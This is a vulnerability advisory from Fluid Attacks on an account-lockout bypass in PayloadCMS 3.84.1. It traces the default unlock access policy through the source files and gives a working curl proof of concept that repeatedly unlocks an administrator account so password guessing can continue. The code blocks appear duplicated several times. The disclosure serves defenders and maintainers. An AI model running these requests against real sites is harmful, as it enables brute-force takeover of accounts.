PayloadCMS 3.84.1 - Authenticated account lockout bypass through default unlock access

5,3

Medium

Discovered by

Oscar Naveda

Offensive Team, Fluid Attacks

Summary

Full name

PayloadCMS 3.84.1 - Authenticated account lockout bypass through default unlock access

Code name

State

Public

Release date

Affected product

PayloadCMS

Vendor

PayloadCMS

Affected version(s)

3.84.1

Package manager

npm

Vulnerability name

Authentication mechanism absence or evasion

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

5.3

Exploit available

Yes

Description

An Improper Authorization vulnerability exists in PayloadCMS version 3.84.1 due to insufficient access control on the account unlock operation. When an authentication-enabled collection does not explicitly override the access.unlock policy, the POST /api/users/unlock endpoint permits any authenticated user to unlock arbitrary accounts by supplying the target user's email address.

This behavior bypasses the built-in account lockout protections enforced by maxLoginAttempts and lockTime. A low-privileged authenticated attacker can repeatedly reset a target account's lockout state, effectively defeating the application's brute-force protection mechanism.

Vulnerability

Case A: account lockout bypass through default access.unlock

  1. Source:

    • Authenticated attacker-controlled request to POST /api/users/unlock.

    • Request body supplies the target user's email or username.

  2. Access control:

    • packages/payload/src/collections/config/defaults.ts:10-15 sets unlock: defaultAccess.

    • packages/payload/src/collections/config/defaults.ts:57-65 preserves that default unless the collection explicitly overrides access.unlock.

    • packages/payload/src/auth/defaultAccess.ts:3 returns Boolean(user), so any authenticated user passes.

  3. Sink:

    • packages/payload/src/auth/operations/unlock.ts:76-81 evaluates collectionConfig.access.unlock.

    • If the access result is true, no ownership, role, or target-user constraint is added.

    • packages/payload/src/auth/operations/unlock.ts:88-114 then looks up the user solely by the supplied email or username.

    • packages/payload/src/auth/operations/unlock.ts:118-124 calls resetLoginAttempts.

    • packages/payload/src/auth/strategies/local/resetLoginAttempts.ts:24-30 clears lockUntil and sets loginAttempts to 0.

  4. Impact:

    • An authenticated attacker can unlock another account.

    • The attacker can reset failed-login counters and continue guessing passwords beyond the configured lockout limit.

    • Administrator accounts are affected when their auth collection inherits the default unlock access policy.

Relevant code in tag v3.84.1:

  • packages/payload/src/collections/config/defaults.ts:10-15

  • packages/payload/src/collections/config/defaults.ts:57-65

  • packages/payload/src/collections/config/defaults.ts:120-128

  • packages/payload/src/auth/defaultAccess.ts:3

  • packages/payload/src/auth/endpoints/unlock.ts:9-25

  • packages/payload/src/auth/operations/unlock.ts:76-124

  • packages/payload/src/auth/strategies/local/resetLoginAttempts.ts:24-30

Default templates inherit the vulnerable behavior:

  • templates/blank/src/collections/Users.ts:3-13 enables auth: true and does not define access.unlock.

  • templates/with-vercel-website/src/collections/Users/index.ts:7-13 defines other access handlers but omits unlock.

PoC

REST PoC

Prerequisites:

  • PayloadCMS 3.84.1.

  • An auth-enabled users collection with maxLoginAttempts enabled. This is enabled by default with maxLoginAttempts: 5 and lockTime: 600000.

  • The collection does not override access.unlock.

  • The attacker has a valid, authenticated account.

  1. Log in as a low-privileged user and store the token:

ATTACKER_TOKEN="$(
  curl -s -X POST http://localhost:3000/api/users/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"[email protected]","password":"attacker-password"}' \
  | jq -r '.token'
)"
ATTACKER_TOKEN="$(
  curl -s -X POST http://localhost:3000/api/users/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"[email protected]","password":"attacker-password"}' \
  | jq -r '.token'
)"
ATTACKER_TOKEN="$(
  curl -s -X POST http://localhost:3000/api/users/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"[email protected]","password":"attacker-password"}' \
  | jq -r '.token'
)"
ATTACKER_TOKEN="$(
  curl -s -X POST http://localhost:3000/api/users/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"[email protected]","password":"attacker-password"}' \
  | jq -r '.token'
)"
  1. Lock the target account by sending failed login attempts:

for i in 1 2 3 4 5; do
  curl -s -X POST http://localhost:3000/api/users/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"[email protected]","password":"wrong-password"}'
done
for i in 1 2 3 4 5; do
  curl -s -X POST http://localhost:3000/api/users/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"[email protected]","password":"wrong-password"}'
done
for i in 1 2 3 4 5; do
  curl -s -X POST http://localhost:3000/api/users/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"[email protected]","password":"wrong-password"}'
done
for i in 1 2 3 4 5; do
  curl -s -X POST http://localhost:3000/api/users/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"[email protected]","password":"wrong-password"}'
done
  1. Verify that the target account is locked:

curl -s -X POST http://localhost:3000/api/users/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"wrong-password"}'
curl -s -X POST http://localhost:3000/api/users/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"wrong-password"}'
curl -s -X POST http://localhost:3000/api/users/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"wrong-password"}'
curl -s -X POST http://localhost:3000/api/users/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"wrong-password"}'

Expected response includes an error equivalent to:

This user is locked due to having too many failed login attempts
This user is locked due to having too many failed login attempts
This user is locked due to having too many failed login attempts
This user is locked due to having too many failed login attempts
  1. Unlock the target account using the attacker's token:

curl -s -X POST http://localhost:3000/api/users/unlock \
  -H 'Content-Type: application/json' \
  -H "Authorization: JWT $ATTACKER_TOKEN" \
  -d '{"email":"[email protected]"}'
curl -s -X POST http://localhost:3000/api/users/unlock \
  -H 'Content-Type: application/json' \
  -H "Authorization: JWT $ATTACKER_TOKEN" \
  -d '{"email":"[email protected]"}'
curl -s -X POST http://localhost:3000/api/users/unlock \
  -H 'Content-Type: application/json' \
  -H "Authorization: JWT $ATTACKER_TOKEN" \
  -d '{"email":"[email protected]"}'
curl -s -X POST http://localhost:3000/api/users/unlock \
  -H 'Content-Type: application/json' \
  -H "Authorization: JWT $ATTACKER_TOKEN" \
  -d '{"email":"[email protected]"}'

Expected result:

{"message":"Success"}
{"message":"Success"}
{"message":"Success"}
{"message":"Success"}
  1. Repeat failed login attempts and unlock calls to continue guessing the administrator password without waiting for lockTime.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-11779 to refer to this issue from now on.

System Information

  • PayloadCMS

  • Version: 3.84.1

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Naveda from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.